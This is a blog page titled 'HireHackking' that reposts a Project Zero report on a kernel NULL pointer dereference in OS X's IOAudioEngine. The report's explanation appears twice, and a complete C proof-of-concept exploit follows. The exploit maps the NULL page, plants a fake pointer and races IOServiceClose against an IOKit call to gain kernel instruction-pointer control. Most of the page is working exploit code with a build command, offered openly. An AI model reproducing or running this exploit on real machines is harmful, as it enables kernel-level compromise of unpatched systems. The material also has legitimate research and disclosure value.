Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863544325

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=776

IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL

IOReturn IOAudioEngineUserClient::closeClient()
{
    audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this);

    if (audioEngine && !isInactive()) {
        if (isOnline()) {
            stopClient();
        }
        audioEngine->clientClosed(this);
        audioEngine = NULL;



External method 0 uses audioEngine without checking if it's NULL:

IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) {

  audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); 
  IOAudioStream *         audioStream;
  IOReturn            result = kIOReturnBadArgument;
  
  audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); 
  
  audioStream = audioEngine->getStreamForID(audioStreamIndex);


Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member:

IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) {
  IOAudioStream *     stream = NULL;

  assert(reserved);
  if (reserved->streams) {
    stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID));
  }

  return stream;
}

getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control.

tested on OS X 10.11.4 (15E65) MacBookAir 5,2
*/

// ianbeer

// clang -o ioaudio_race ioaudio_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in IOAudioEngine

IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL

IOReturn IOAudioEngineUserClient::closeClient()
{
    audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this);

    if (audioEngine && !isInactive()) {
        if (isOnline()) {
            stopClient();
        }
        audioEngine->clientClosed(this);
        audioEngine = NULL;



External method 0 uses audioEngine without checking if it's NULL:

IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) {

  audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); 
  IOAudioStream *         audioStream;
  IOReturn            result = kIOReturnBadArgument;
  
  audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); 
  
  audioStream = audioEngine->getStreamForID(audioStreamIndex);


Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member:

IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) {
  IOAudioStream *     stream = NULL;

  assert(reserved);
  if (reserved->streams) {
    stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID));
  }

  return stream;
}

getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control.

tested on OS X 10.11.4 (15E65) MacBookAir 5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;
  inputScalarCnt = 4;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 40960;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\xff';
  }

  *((uint64_t*)0x28) = 0xffffff4141414141;


  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("IOAudioEngine", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);

}